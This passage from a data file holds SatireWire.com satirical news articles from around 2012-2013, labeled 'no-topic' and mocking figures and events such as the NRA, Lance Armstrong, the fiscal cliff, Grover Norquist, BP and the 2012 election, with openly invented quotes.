off a threat by displaying one. “People talk about the Wild West with everyone shooting, but imagine walking down the streets of ancient Rome or Athens or Carthage,” he said. “Someone pulls a gun on you, and you can’t defend yourself because guns haven’t been invented. So you’re shot dead. “Our research indicates that Jesus was most likely killed by a gun,” he added. “As was pretty much everyone else before the 15th century. Moses. Socrates. Those people at Pompeii. What a waste.” In fact, because there were no guns to prevent it, Bulwick theorized that gun crimes may have killed more people than existed. “Honestly, it’s a miracle the gun was ever invented because at the time, and for thousands of years before, there were no people around to make one,” he said. Despite the seeming contradictions, NRA colleague John Testicquort said statistical analysis backs Bulwick’s conclusions. “At the NRA, we’re able to study things from only one perspective, which allows us the freedom to really delve into that one perspective,” Testicquort explained. “And if you accept that more leads to less and, ergo, less leads to more, the possibilities are endless.” For instance, working with that theory in their spare time, Bulwick and Testicquort said they also figured out that eating more cake reduces fat, increasing pollution reduces pollution, and increasing population reduces overcrowding. “If you have, say, 20 people in an elevator built for five, the solution isn’t to remove people but to increase the number of people,” said Bulwick. “Eventually no one complains anymore. It works. I can’t remember why, but it works.” Because everyone would be dead? “Yeah, that could be it,” said Bulwick. '], ['no-topic', 'TALIBAN ALSO WILL ARM WOMEN TO FIGHT OPPRESSORS… OH, WAIT', 'WASHINGTON, D.C. (SatireWire.com) – Responding to America’s decision to allow women in combat, Taliban leaders today vowed to give guns to their women too so they could fight off their oppressors, until they realized that would be them. Newly armed but apparently lost, this Taliban woman appears to be heading toward her own leaders instead of the Americans. Taliban commander Mustafa Fariz, speaking to reporters in southern Afghanistan, initially reacted with disdain to the Pentagon’s announcement that the ban on U.S. women serving in combat had been lifted. “We do not allow our women to travel alone or speak to strangers or even to read, and you Americans give them guns?” Fariz scoffed. “This is a desperate act. Maybe we should give our women guns too, huh? How would you like that? Maybe like us they also would shoot down their oppressors and kill those who wish to enslave them and… oh, no, hang on.” Like Fariz, not all insurgent commanders thought the idea through. In Helmand province, Taliban leader Omar Malik stood with his wife, Amira, who was holding a pistol for the first time. “If America arms its women to fight the enemy, we will arm our women so they can fight the enemy,” Omar told a crowd of followers. “Death to the enemy!” shouted Amira. “They will destroy those who only wish to subjugate,” he said. “Destroy the subjugators!” Amira echoed. “They will defeat the tyrants,” Omar added. “Defeat the tyrants!” Amira agreed. “They will vanquish the Americans,” he said. “Vanquish the… wait, who?” said Amira. “The Americans,” Omar responded. “You know, the oppressors? Why are you pointing that gun at me? “Hold still. It’s hard to aim through this burqa.” U.S. women have actually served, and died, in combat areas for several years, but by repealing the ban, the Pentagon enables females to serve in infantry and front line roles. While the decision angered the Taliban, other American adversaries expressed dismay. “Women do not belong in combat,” declared Khalid Abiq, a 23-year-old Alergian with al Qaeda surrogate Jabhat al-Nusra. “If I shoot one of them, my brothers will just say, ‘Oh big deal, Khalid, you shot a girl.’ And if I am killed by one, I will never hear the end of it.” '], ['no-topic', 'LANCE ARMSTRONG CALLS SELF LIAR, DENIES HE SPOKE TO OPRAH', 'AUSTIN, TX (SatireWire.com) — Lance Armstrong today lashed out at himself for confessing to Oprah Winfrey, calling himself a liar and threatening to sue anyone, including himself, who claims they saw or heard the interview, which he also insisted never took place. Armstrong, seated left, said he was never seat left. Despite seemingly incontrovertible evidence to the contrary, Armstrong adamantly denied speaking to Oprah, adding that he also did not admit to using performance enhancing drugs throughout his cycling career. “Every time I was ever asked about doping, I denied it, so why would I suddenly admit to something that I never did just because all the evidence is against me?” he said. “If I did speak to Oprah, which I didn’t, I’m a liar. I don’t know, probably I was jealous or something. I’m a pretty big deal.” During the interview, Armstrong appeared to admit to blood doping and transfusions, as well as taking numerous banned substances to elevate his performance. The confession, airing over two nights, was watched by millions and has been a hot topic online and in every office in the country. The former Tour de France champion, however, said everyone who thinks they heard him admit to doping should shut up. “I will sue every single American, including myself and Oprah, who passes on this scandalous rumor about me,” he said. “Unless I’ve sued them already, which I may have. I’ve lost count.” Armstrong’s attorneys disclosed that Armstrong has, in fact, sued himself six times in the past, settling out of court for unpublicized sums meant to keep him quiet. The attorneys refused to elaborate, however, as they are currently suing themselves per Armstrong’s orders. As for what the disgraced cyclist does next, Armstrong said he would focus all his energy on Lance Armstrong. “I have a message for me: All my life, whenever I sense someone is threatening me or my career or my reputation, I attack,” he said. “So get ready Lance. I’m going to make your life a living hell.” '], ['no-topic', 'MANTI TE’O’S GIRLFRIEND SPEAKS OUT FROM FAKE HEAVEN', 'By Lennay Kekua (1990-2012) (SatireWire.com) – I may be up here in fake heaven with the make-believe angels and the cardboard St. Peter and the CGI Pearly Gates, but my outrage on behalf of Manti Te’o, the love of my not-actual life, is real. Don\'t you wish your girlfriend were "not," like me? I am outraged that people say Manti created me for the publicity; that he did it to build a great back-story and boost his chances to win the Heisman trophy. I haven’t spoken to Manti since or anytime before I apparently died last September, but I know this man as well as I ever knew anyone if I had ever known anyone, and believe me when I say that’s not the Manti I knew not. The Manti that I knew in all but the corporeal sense was kind, giving and loyal. Intensely loyal. Doesn’t that count for anything nowadays? This man stuck with the me he said I was. For instance, when I was sick and dying from cancer, he didn’t turn away. He kept up our relationship until my last fictional breath. Manti said that my last words to him were, “I love you.” Think about that. If he did this for the publicity, my last words to him would have been, “You’re the best player in college football,” or “My dying wish is for a purely defensive player to win the Heisman for the first time in history.” But that’s not what he said I said. Instead he said I said, “I love you.” Now, to be honest, I don’t remember saying that, per se. Maybe I was too sick. In those final days, the medication they give you tends to cloud your memory, which is particularly difficult when you don’t have a memory. Or maybe I don’t remember because the pain was too intense because I couldn’t take the medications because the nurses couldn’t hook up the IV because they couldn’t find a vein because I didn’t have, for instance, arms. But I believe I said it. I did love Manti. I do love Manti. In fact, my love today is just as strong as it ever never was. Why? I guess it comes down to trust. That was the thing about our relationship — it was based on real trust. Notre Dame trusted I was real. The media trusted I was real. Manti trusted that you all trusted that I was real. If that’s not real trust, what is? Go ahead, laugh if you want, but it takes a lot of trust to believe in our love despite all the obstacles, like the fact that we never saw each other, that no one, including Manti, ever spoke to me or my family, that there is no record anywhere of my existence. Yet despite all those impediments – barriers that would have destroyed most relationships — he still loved me. So of course I loved him. How can you not love a guy who loves you no matter what? And in my case, I mean no matter what. Nothing could stand in our way, including my nothingness. Because we never actually met, because I only existed online, some of you think this makes Manti, if not complicit, shallow. It’s just the opposite. Here he was, this handsome, strapping football hero, a guy who could have had any girl he wanted, but he fell in love with me, sight unseen. That’s because Manti doesn’t just look at the person on the outside. He looks at the person on the inside. Of his computer. And I know Manti loved me. No, he didn’t come to the fictional hospital when I was not actually dying of leukemia, but I didn’t want him to see me like that. I wanted him to remember me as the young, healthy coed we pretended I was when we first never actually met in person at Stanford like he for some reason always told people we did. I wanted him to remember me as the lively, beautiful person I was when we went on vacation together in Hawaii like his own father publicly said I did several times. In the end it doesn’t matter what any of you think. I know deep down in where my heart would be that one day Manti and I will be together again, for the first time. I know this because not only was I “made” for him, but he was made for me. That’s right, Manti Te’o is fictional. If you think about it, you know it’s true. That would explain why he didn’t show up at the hospital, or at my funeral, or for the Notre Dame-Alabama game. '], ['no-topic', 'PEOPLE GET FLU WAITING IN LINE FOR FLU SHOTS', 'BOSTON, MA (SatireWire.com) — Americans crowding into hospitals, clinics and doctor’s offices to get flu shots are now the number one cause of the spread of the flu, according to the Centers for Disease Control. Bostonians line up to spread the flu. As a result, the CDC is warning Americans to get the flu vaccine as soon as possible provided they can figure out a way to do it without coming into contact with another human, particularly anyone waiting in long lines to get the flu vaccine as they may already have the flu due to their not having the vaccine yet, and their being crowded into places where other people also haven’t had the vaccine and may already have the flu. “People need to get flu shots right away, absolutely,” urged CDC official Bradley Howard. “It’s not a panacea, of course. It can’t stop every strain, but it’s better than being unprotected, which, conversely, you would be if you actually try to go out and get a flu shot, which you should do, absolutely, although not by actually going outside. “What we’re saying is, get the shot, now, before you get the flu,” Howard added. “But at the same time, don’t move.” The CDC advisory went on to suggest the safest approach is for people to inject themselves with the vaccine. It also pointed out that people should never to attempt to inject themselves with vaccine. The worst flu epidemic in years has afflicted thousands across the country and prompted the city of Boston to declare a health emergency. This weekend clinics across Boston will provide free vaccine. (Boston residents: for a list of where to get your shot, and possibly the flu, click here.) In the meantime, health care providers at Massachusetts General Hospital in Boston said they are just trying to administer the vaccine as quickly as possible. “We’re basically just throwing needles at people as they come in,” said ER nurse Janet Ramaday. “Well, not when they come in, per se. We’re throwing them down from the roof while they line up outside. It’s working well in that the ones who don’t get stuck are running away, which will keep them from getting the flu.” '], ['no-topic', 'CONGRESS WELCOMES FIRST OPENLY BIPARTISAN REPRESENTATIVE', 'WASHINGTON, D.C. (SatireWire.com) – History was made Friday as Rep. Alice Healy of Wisconsin became the first openly bipartisan member of Congress. Openly bipartisan Rep. Alice Healy (D-WI) is married to a man who apparently is OK with that. Healy, 52, instantly becomes an iconic figure whose very presence on Capitol Hill could serve as an inspiration to the nation’s LCBT community (Levelheaded, Cooperative, Bipartisan, and Transparty), which has been forced into the shadows in an increasingly rigid and politicized society. But her place in the 113th Congress is not without controversy. Several Republican House members called Healy’s penchant for going both ways, “disgusting and unnatural,” although they later admitted they’d “kind of like to watch.” “If God had wanted us to be bipartisan, he would have given us the ability to compromise!” thundered Rep. Truman Sharp, R-SC. “In my opinion, this woman poses a serious threat to the way this body operates, and anyone in the other party who disagrees with me actually agrees with me since their disagreement shows that we cannot and should not agree on anything.” Added Rep. Scott Thurow, R-Texas: “I was sent here to do a job, and that job specifically calls for me not to be working with anyone else who doesn’t think like me. Fortunately, we don’t allow any of them bipartisans in Texas, so I’ve never had to worry about it before.” Healy, however, wasted no time defending herself in a brief speech during the inaugural session. “I don’t like labels and I don’t think of myself as a bipartisan Congresswoman,” said the Milwaukee-based Democrat. “I think of myself as a Congresswoman who happens to be bipartisan.” Healy went on to explain that she looked forward to working with colleagues on both sides of the aisle, promising to “listen, reason, and seek common ground.” In response, several Republican representatives covered their ears or yelled out random Bible verses. As the session came to a close, Rep. Michelle Bachmann, R-MN, introduced a bill in committee requiring Healy to be placed in a special mental health facility where she could be, “cured of her alternative political lifestyle.” Not surprisingly, the vote split along party lines, “as God intended,” Bachmann noted. '], ['no-topic', 'LUCKY S&P ANALYST CAN’T BELIEVE HE GETS TO DOWNGRADE U.S. AGAIN', 'NEW YORK, N.Y. (SatireWire.com) – Less than two years after downgrading the credit rating of the United States – a historical first — Standard & Poor’s analyst Gary Gardener cannot believe he may get the chance to do it again. Although Gardener (left) gets the credit, damaging the full faith and credit of the United States is a team effort. “Oh my God I am so psyched,” says the clean cut, angular 38-year-old. “In 2011, when we knocked the U.S. from AAA to AA+, I remember thinking, ‘Wow, this the high point of my career.’ And now I get to downgrade the world’s largest economy, again? What are the odds, right? What are the odds!” “Oh shut up Gary,” snaps a colleague passing by his cubicle. “Jealous much?” Gardener shouts in reply. Thanks to the fiscal cliff deadline of Dec. 31, Gardener’s finger is poised on the proverbial button, but the veteran of budget battles and government maneuvering insists he knows better than to get overconfident. “We’ve been close to downgrading the U.S. since 2011, but the economy always perks up just enough to avoid it,” he laments. “But this fiscal cliff is different. It means massive tax hikes and spending cuts that will devastate the economy, send us back into recession, and cast major doubts on the future of this country. “So here’s hoping,” he adds. Gardner’s colleagues admit they are jealous, but concede the right man is on the job. “Gary is kind of a legend around here,” says global credit supervisor Randy Pervis. “You don’t mess with Gary. He’d downgrade his mother.” “He actually did that,” adds analyst Gail Shrimby. “When his mom collapsed five years ago, Gary was the first on the scene. He pronounced her dead before the EMTs even got to work.” Technically, U.S. ratings are determined by a team at S&P, but Sovereign Credit Director Melissa Hutchins says only one person gets to officially make the call. “Gary is the guy, although as Gary’s boss, I’m the one who gives him the OK to downgrade, so really it’s me,” she explains. “I’m just saying.” So why allow Gardener to get the accolades? “First off, he’s a professional,” Hutchins says. “Any idiot can downgrade Greece to junk bond status, but to impugn the full faith and credit of the United States, I need my top person. Plus, I’m (Treasury Secretary) Tim Geithner’s wife’s cousin. Thanksgiving dinner is awkward enough as it is.” Inheriting that largesse, Gardener says this time around he’ll allow Walter Bucchus, a young intern, to actually push the button that makes the change in the S&P system. It’s a bonus that openly irritates some of Bucchus’ more senior colleagues. “I can’t believe goofy little Walter here gets to push the button,” says analyst Peter White, leaning over Bucchus’ cubicle. “I mean, he’s a total nerd. Aren’t you Walt? You suck, Walter.’” “Oh yeah?” Bucchus replies. “I suck… your mother!” “See?” White scoffs. “Total nerd.” As for Gardener, he says the work he does now is important, not just for himself, but for future generations. “I don’t honestly expect a third downgrade in my lifetime,” he says. “But my hope is that someday my children’s children will get to downgrade the U.S. to junk status.” '], ['no-topic', 'TO HONOR FISCAL CLIFF, NEW YEAR’S BALL TO FALL OFF BUILDING, SMASH', 'NEW YORK (SatireWire.com) – In honor of the fiscal cliff’s 2013 arrival, Times Square organizers today said this New Year’s Eve, the gigantic crystal ball will slide down its traditional 77-foot flagpole, then plunge another 395 feet to the ground, where it will smash into pieces and cause overwhelming economic damage and personal hardship. Unlike previous ball drops, organizers say they also plan to shoot fireworks down at the crowd instead of up in the air. “We always try to do something relevant for a new year if we can, and having the ball plummet and explode was the obvious approach for 2013,” said James Cardin, executive director of the Times Square Alliance. “We’re treating it very much the way Congress is treating the fiscal cliff. Nobody wants it to happen. Everyone says it’s crazy. People will absolutely get hurt. It’s perfect.” New York Mayor Michael Bloomberg immediately blasted the decision, calling it “irresponsible and dangerous” for the 12,000-pound ball to fall 25 stories above the Square into more than a million people below. “Thank you,” Cardin replied. “We think so too.” Unlike the Mayor, Times Square revelers said they were looking forward to the celebration, hoping it gives them a more visceral sense of the problems caused by the impending tax hikes and spending cuts. “I don’t understand the fiscal cliff or sequestration or Earned Income Tax Credit expiration, but I can understand thousands of crystal shards flying through the air and eviscerating my body,” said Angel Martin, 24, of Brooklyn. “I only wish people from around the around the country could be here with me to experience it. Particularly anyone from Congress.” Cardin conceded the potential lack of widespread damage is a drawback, but said the Alliance has planned for that. “Obviously it won’t hurt a great number of people at first, but we’re asking everyone in Times Square to run around in a panic the moment the ball shatters,” he said. “And if everyone watching from their hotel rooms around the Square would consider jumping out their windows, that would be great. We really want to get the atmosphere right.” Just before press time, Bloomberg announced Times Square Alliance members will be arrested if they go through with, “one of the most stupid, wrong-headed, and ill-conceived plans in the history of this country.” “Oh now stop,” Cardin replied. “I’m blushing.” '], ['no-topic', 'NORQUIST TO STRANGLE A PUPPY FOR EACH BROKEN TAX PLEDGE', 'WASHINGTON, D.C. (SatireWire.com) – Anti-tax crusader Grover Norquist today denied he is angry with Republicans who have turned against his no-tax pledge, insisting they are free to do whatever they want, including choose the color and breed of each puppy he intends to strangle for every lawmaker who breaks the oath. Norquist (top) with Sen. Lindsey Graham and Snuggles, Rep. Peter King and Daisy, and Sen. Saxby Chambliss and Alfie. Since Sunday, several of the 280 members of Congress who signed Norquist’s Taxpayer Protection Pledge have retracted their vows, citing a need for compromise in looming fiscal cliff negotiations. Surprisingly Norquist, known for ruthlessly going after tax proponents, said he understands. He just doesn’t know if the puppies will. “I’m not angry or upset or worried,” said Norquist as he stroked the fur of ‘Sparky,’ an adorable, 6-week-old cocker spaniel. “Just like this cute little fella right here, I’m hoping that in the end, our national leaders do the right thing.” “What’s that Sparky? You say Rep. Peter King (R-NY) has already reneged? Oh dear. I do hope he doesn’t like spaniels,” he added hoarsely, his face reddening. Like King, pledge-breaker Sen. Sen. Lindsey Graham, R-SC, said he got a phone call from Norquist this morning. “I thought he was going to threaten to run me out of office, but he didn’t. Instead he just asked me how I was, and where I was having lunch, and what breed of dog I wanted put down,” Graham recalled. “Oh, then he put a talking collie on the phone. Smart little fella. It actually said, ‘Senator, the American people can have lower taxes and live puppies, or higher taxes and dead puppies. It’s up to you.’” In Georgia, GOP Sen. Saxby Chambliss, who said he might break the oath, tried to tamp down fears that Norquist would actually go through with his threat. “Grover is a good man who wants what’s best for this country,” said Chambliss. “And right now he must see that the best thing for this country is for all of us to find middle ground,” At a late-day press conference held at a local animal shelter, the cantankerous lobbyist agreed. “Oh yes, I think finding middle ground is important,” said Norquist, ruffling the head of ‘Rusty,’ an 8-week-old Labrador. “Because we’ll need some nice, soft middle ground to lay all these puppies in. “What’s that Rusty? You say the ground looks really cold and lonely? Don’t you worry, boy. I heard Rep. Eric Cantor and Sen. Bob Corker are breaking their pledges, too. So you’ll have lots of company.” '], ['no-topic', 'FISH IN GULF HAIL DEAL, BUT PREFER TO EAT BP EXECUTIVES, THANKS', 'OPINION “Carl,” Red Snapper, Gulf of Mexico OFF NEW ORLEANS, LA. (SatireWire.com) – First off, we appreciate your efforts to go after BP, and I know you humans are all excited about this $4.5 billion “penalty,” whatever that is, but speaking for the main victims in all this, I think we’ll decline the money and just eat the BP executives whole, if it’s all the same to you. "Carl." (Not his real name) It’s not that we’re ungrateful. I’m sure you meant well, and that in your world, this ‘penalty’ concerning bits of paper is quite painful. But since, frankly, we suffered a good deal more than you, it seems like we should get to choose the punishment. And we choose eating. Oddly enough, and not to nit-pick, but that doesn’t seem to be part of the settlement. We’re not sure why, but maybe you lost perspective on who really took it on the chin here? I mean, the Deepwater Horizon spill killed, what, almost a dozen humans? But in our world, we lost millions of family members. Snapper, porgies, eels, phytoplanktons. I’m just sayin’. Oh, and we can’t help but notice we suddenly have all these shrimp with no eyes, crustaceans with limbs falling off, fish that limp. Well, no, they don’t really limp. They swim funny. I’m just trying to make this relatable. Oh, and yeah, I heard that a couple of supervisors were going to be tried for “manslaughter.” But that’s a joke, right? ‘Cause if I remember correctly, and it’s difficult because of the hypoxia, a better term would have been fishslaughter. Or birdslaughter. Or marinelifeslaughter. Actually, there are a lot of terms you probably should have thought of first. Unless I’m wrong and it really was just as bad for humans. Maybe you suffered from hypoxia, too? You know, that’s when your environment is deprived of oxygen and your body switches to anaerobic respiration to try to produce adenosine triphosphate by using substrate-level phosphorylation. But since, obviously, that reduces ATP yield, when it fails you tend to asphyxiate and float to the surface, where your body is picked apart by gulls. Is that what happened to you guys? Were you sitting in your houses and restaurants and office supply stores when suddenly there was an explosion and oil came pouring out everywhere, and before you could even move, you were up to your gills in sludge and you drowned? I mean, since you guys charged BP with manslaughter, and not fishslaughter, I guess that’s what happened. It didn’t? Oh. Well, that’s confusing then. I mean, c’mon people. Maybe we look kind of strange and make funny faces when we breathe and swim in groups right into fishnets and bite things on hooks, but we’re not stupid. And I’m not saying it wasn’t a tragedy for humans. It was. But there are levels of magnitude. It’s like BP is driving down the road, probably drunk, in this big ol’ Hummer, and it crashes into something. Now a passenger in BP’s car – we’ll say that represents some of their employees — dies, and that’s bad. And a few passengers in the back – we’ll say that’s folks who live and work around the Gulf – are injured. That’s also bad. But the thing is, what the Hummer crashed into was a school. The size of Kansas. And everyone in it died. And that’s us. See? So maybe now you understand why this $4.5 billion, and whatever other non-edible penalties you add to it later, don’t really do it for us. Think of it as a trust thing. What’s that old Cold War phrase? Trust and verify? I mean, we all heard Bob Dudley, BP’s chief executive, say the company, “deeply regrets the tragic loss of life.” That’s nice, but since his people kind of killed about 220 of my siblings in 10 seconds, I personally find it hard to trust the guy. And not living in his neighborhood, we won’t be able to verify that he “deeply regrets” it. Whereas if we eat him, we’ll know he deeply regrets it. We can verify that. By the look on his face. And afterwards, by the look on his not-face. OK, I’m sensing you find that harsh, but remember, ours is a harsh world. Eat or be eaten. That’s pretty much our day. And now you know what would make our day. So c’mon, let’s serve up some justice. I just hope they’re not oily. '], ['no-topic', 'SEX SCANDAL REVEALS U.S. MAY BE AT WAR IN AFGHANISTAN', 'WASHINGTON, D.C. (SatireWire.com) – In yet another shocking turn, the unraveling Pentagon sex scandal has revealed the United States appears to still be involved in some kind of war in Afghanistan. "If Broadwell (top) and Kelley were fighting the Taliban in bikinis, maybe we\'d have some interest," said CNN. In nearly 30,000 pages of documents seized by the FBI, the words “war,” “Afghanistan,” and “U.S. Forces” come up repeatedly, alongside those of generals David Petraeus and Joe Allen, as well as Petraeus’ mistress Paula Broadwell and Florida socialite Jill Kelley. While the allegations of illicit affairs and sexual flirtation continue to capture the headlines, many were angered that military leaders continued to take part in what was thought to be a long-dead conflict. “I understand generals are entitled to sex, but the idea that they were getting a little ‘shooty-shooty bang-bang’ on the side is infuriating,” said Littleton, Co. resident Krystal Anderson. “I don’t think it necessarily hinders them from being generals, but surely the military code of conduct frowns on this sort of thing.” Far from denying it, Pentagon officials today readily confirmed the existence of the Afghan war, insisting they have repeatedly tried to call the nation’s attention to the 11-year-old conflict, in which more than 50,000 civilians and coalition forces have been killed or wounded. “Oh, that war,” said CNN producer Evan Dillard. “Yeah, we’ve got some archived footage of it somewhere, but it doesn’t really take precedence over images of Paula Broadwell and Jill Kelley in tight, sleeveless tops.” Aware of the newfound attention, the Pentagon said it has begun issuing status updates on the war using more sexual terminology to keep media interest. Its first update was released hours ago: “The Afghan National Security Forces are growing stronger, larger, and more virile every day, and in the coming months, we expect these vigorous, swarthy men in uniform to seize the curvaceous mountain areas and eventually penetrate deeper into the hot, musky interior of the nation’s furtive regions.” The Pentagon added that it has had numerous candid and revealing telephone and email exchanges with Afghan leaders, all of which are recorded and can be purchased discreetly from its web site, www.defense.gov/Afghanaughty. '], ['no-topic', 'Why Do Powerful Men Cheat?', '(SatireWire.com) — From Gen. David Petraeus to Gov. Arnold Schwarzenegger to the CEO of Lockheed Martin, our leaders are falling like unzipped flies. So we asked, ‘Why Do Powerful Men Cheat?’ CHARTS INDEX '], ['no-topic', 'PAUL RYAN SUDDENLY REAL BUSY WHENEVER MITT ROMNEY CALLS', 'WASHINGTON, D.C. (SatireWire.com) – Paul Ryan hasn’t returned Mitt Romney’s phone calls since the election because he’s probably so busy catching up with work, according to the defeated GOP presidential candidate, who said it’s cool he’ll just, you know, maybe call another time or drop by Ryan’s house, although he has tried that several times but Ryan must not have been home or something. "Paul sometimes is very focused on his coffee," said Romney, explaining this awkward moment in the Capitol hallway. Romney added that his former running mate definitely would want to stay in touch since they both went through a lot together and are really tight even though yesterday when Romney was in the Capitol hallway and waved at Ryan, the Congressman suddenly got an urgent cell phone call and turned away which was weird because Romney was really waving quite forcefully and yelling, ‘Paul! Hey Paul!”, but probably not loud enough come to think of it. Despite the misconnections, the Republican also-ran dismissed suggestions that rising-star Ryan was purposefully distancing himself from their failed White House run, adding that it’s perfectly understandable for a guy to cross to the other side of K Street when you’re walking up to him if, say, your side of K Street is in the shade and the other side of K Street is in the sun and it’s cold outside like it was when Ryan did that yesterday. “No no, Paul and I are super-duper close,” Romney insisted. “We’re just having logistical problems right now. Like this morning I get on the train to ride into D.C. with him, and next thing I know he gets onto an outbound train going the other way. Maybe he had a dental appointment in Alexandria or something. My fault really. I should have checked with his secretary.” Of course that’s been difficult too because Ryan’s appointment secretary doesn’t seem to know who Romney is, but maybe she doesn’t recognize him, which kind of makes sense because the “Romney/Ryan” signs that used to be all over Ryan’s office seem to have been removed or covered in masking tape, the former Massachusetts governor couldn’t help but notice. Ryan press secretary Michael Steel, meanwhile, said “Mitt” was a very unusual name and the Congressman certainly would remember having met someone with a name like that, which he hasn’t. '], ['no-topic', 'COLORADO LEGALIZES POT; UNIV. OF COLORADO APPS SKYROCKET', 'BOULDER, CO (SatireWire.com) — Applications to the University of Colorado have shot up 5,000 percent in the past 48 hours, leaving school officials “mystified and delighted” by the influx of more than a million new admissions forms. In other news, Colorado legalized marijuana on Tuesday. School officials were "quite confused" by the number of applicants who wrote "Go Puffs" instead of "Go Buffs" on their applications. While some observers attributed the spike to Colorado’s Amendment 64, which legalized pot for recreational use, the University credited the sudden interest to the institution’s academic reputation. “The University of Colorado is simply an outstanding academic institution, and obviously the country has finally recognized that,” said University President Bruce Benson. “Admittedly, it seems to be finally recognizing that in the past 48 hours, but young adults are impulsive.” The school, which annually receives 24,000 applications, has gotten 1.2 million since late Tuesday. Although many are from students who seem unable to even spell, thousands are from candidates who would normally opt for Ivy League colleges. “It’s funny because for bright kids, they don’t seem to have put much thought into their essays,” said admissions officer Carol Clarke. “I have one that just reads, ‘Please oh please oh please oh please oh please!’ “Honestly, some of them haven’t even bothered to do their homework,” Clarke added. “Several of them ended their essays with, ‘Go Puffaloes!’ I mean, 10 points for enthusiasm, but it’s Buffaloes, not Puffaloes.’” Clarke warned applicants not to expect an answer soon as the mountain of forms will take time to vet. “Beyond the essays, we have to read their transcripts and recommendations, and verify their test scores,” she said. “It’s not just SATs and ACTs. Some of them also submitted their THC scores. We don’t even know that that is.” With 30,000 students on its 786-acre campus, UC will not be able to accept all the applicants even if it wanted to, said President Benson, although he suggested another recent trend may enable them to expand. “Right now we have 1,300 full-time faculty, but in another strange coincidence, we seem to have suddenly received 400,000 resumes for teaching positions,” he said. “I guess I shouldn’t be surprised. Good teachers want to go where the good students are.” Meanwhile in Oregon, which also voted to legalize marijuana on Tuesday, the state university said it expects to welcome a 2013 freshman class of 4.7 million. '], ['no-topic', 'AMERICANS VOTE TO CONTINUE BANGING HEAD AGAINST WALL', 'WASHINGTON, D.C. (SatireWire.com) — After years of banging their heads against a wall in frustration over the inability of the White House and Congress to work together, Americans went to the polls Tuesday and voted overwhelmingly to continue banging their heads against a wall. In this Virginia suburb, people waited in long lines to vote and bang their heads against the wall of this building. The election gave President Obama a second term, and upheld the Republican majority in the House and the Democratic majority in the Senate, a combination that has thus far proven to be singularly ineffective and cranially indentive. “Ouch. Ouch. Ouch,” muttered 38-year-old Chris Podolski, blood dripping onto his “I Voted” sticker as he repeatedly bashed his head against the brick façade of the Eldridge Middle School in Richmond, Va. “OK, all yours,” he added as another voter emerged from the polls to take his place at the wall. In his post-victory speech, the President acknowledged the looming fiscal cliff and divided nation made things tough, but insisted Americans’ foreheads were tougher. “Tonight, I’d like to thank you all for giving me the opportunity to work with an intractably divided congress once again,” he said. “Some pundits said you wouldn’t do it, that you were tired of hurting yourselves, but you looked at Washington, you saw all the partisanship and stubbornness and rancor, and you said, ‘Yes. More, please.’ “You know Albert Einstein, that great German-American, said the definition of insanity was doing the same thing over and over again and expecting different results,” Obama added. “Well tonight, the American electorate has spoken. It has said, loud and clear, that America is not a collection of red states and blue states. Instead, we are a collection of insane states.” At press time, all state votes had been accounted for except Florida, where cranial self-injury contributed to long lines at the polls. “People were filling out their ballots, slotting them into the machines, then banging their heads against the wall on the way out,” said Florida election official Jill Prbicz. “The line for banging your head was actually longer than the line to vote because people kept blacking out.” At most polling places, quick-thinking workers began using towels, pillows, and manila envelopes to cushion the blows and prevent serious injury. “Fortunately, you could tell when someone was going to bang their head against the wall,” said Prbicz. “Usually they were the ones in the booth, filling out their ballots and muttering, ‘We’re fucked’ over and over.” '], ['no-topic', 'NYC STREETS PRE-LINED WITH PEOPLE FOR MARATHON', 'NEW YORK (SatireWire.com) – The New York City Marathon will go on as planned Sunday because nothing says New York is back to normal like thousands of perfectly healthy individuals rushing past people in need and ignoring them, Mayor Michael Bloomberg said today. “It’s hard enough ignoring panhandlers who beg you for money, but imagine how hard it will be ignoring someone who bothers you for food or fuel or medical supplies," said one runner. “During and after Hurricane Sandy, there were numerous stories of New Yorkers helping each other and caring for each other, which is understandable under the circumstances,” said Mayor Michael Bloomberg. “But the Marathon requires participants to resume normal behavior: look straight ahead, ignore what’s going on around them and keep moving. It helps remind us of who we are.” The 26.2-mile race, which goes through each of the city’s five boroughs, shuts down 20 miles of roads, and normally requires 1,000 police officers to man the route, is just what the Big Apple needs, said Staten Island resident Vince Fircazzio. “I’m flooded out of my apartment, have no place to stay, and have lost everything,” Fircazzio said. “But the thought of 40,000 cheerful, fit people jogging by, diverting attention and precious resources from the disaster, will fill me with a sense of pride, if not food and warmth. “We have to have the Marathon,” he added. “If we give in to compassion and understanding, the hurricanes win.” Many runners, meanwhile, said they’re not sure holding the race is a good idea. “I’ve been training for this all year, but I do wonder if it shouldn’t be cancelled,” said Christine Jamino from Long Island. “It’s hard enough ignoring panhandlers who beg you for money, but imagine how hard it will be ignoring someone who bothers you for food or fuel or medical supplies.” Borough presidents have decried the decision, citing the extensive damage and horrible loss of life, but the Mayor argued the Marathon boosts the local economy, which must go on. “It’s a great event for New York, and I think for those who were lost, you know, you’ve got to believe they would want us to have an economy and have a city go on for those that they left behind,” Bloomberg actually said. Madame Cassandra, a Brooklyn-based medium, agreed. “The departed loved ones I have contacted are primarily concerned with economics, it’s true,” she said. “They are telling me, ‘Yes, have the Marathon because it brings in $340 million. Also, eliminate the Metropolitan Commuter Transportation District surcharge of 0.375 percent.’” However, Madame Cassandra revealed, they will not truly rest until clothing and footwear purchases under $200 are exempt from the city’s 4.5 percent sales tax. Bloomberg said he expects bigger crowds than ever because, “in some low-lying areas, I understand thousands of people have been lining the streets since late Monday night.” '], ['no-topic', '(FAKE) FACT-CHECKING THE DEBATE', 'BOCA RATON, FL (SatireWire.com) – President Obama did not apologize to the world but did have make-up sex with India, while Mitt Romney supports Israel so much he wants to buy it. It’s the final presidential debate fact check. President Obama talking to Romney, thinking about that night with Egypt. The Allegation: Mitt Romney said President Obama went on an “apology tour” after taking office. The Reality: President Obama did not immediately go on an apology tour. Instead, he first laid the groundwork, sending flowers from the Rose Garden and small candied hearts that said, ‘4give Me?’ to no fewer than 60 nations the United States had either attacked, ignored, bullied, lied to, or, in the case of Spain, slept with once and forgot to call the next day. Even then, he could not visit without an invite. (Ronald Reagan had tried that once, showing up unannounced in Beirut in 1983 with a fistful of violets and a box of chocolate jelly beans, only for Lebanon to tell Syria to tell Reagan it wasn’t home. Embarrassing!) After sending the candied hearts, Obama convinced his friend, Canadian Prime Minister Stephen Harper, to intervene, a tactic that backfired in the case of Malaysia, which actually fell in love with Canada and the two have not been seen outside their Banff hotel room since late 2010. In a last ditch attempt to reconcile with the world, the President posted a YouTube video in which the smooth-toned Obama sang David Soul’s 1976 hit, “Don’t Give Up on Us Baby.” Quickly thereafter, the barriers melted, his phone calls were returned, and Obama boarded Air Force One for a two-week, 16-nation make-up-sex tour 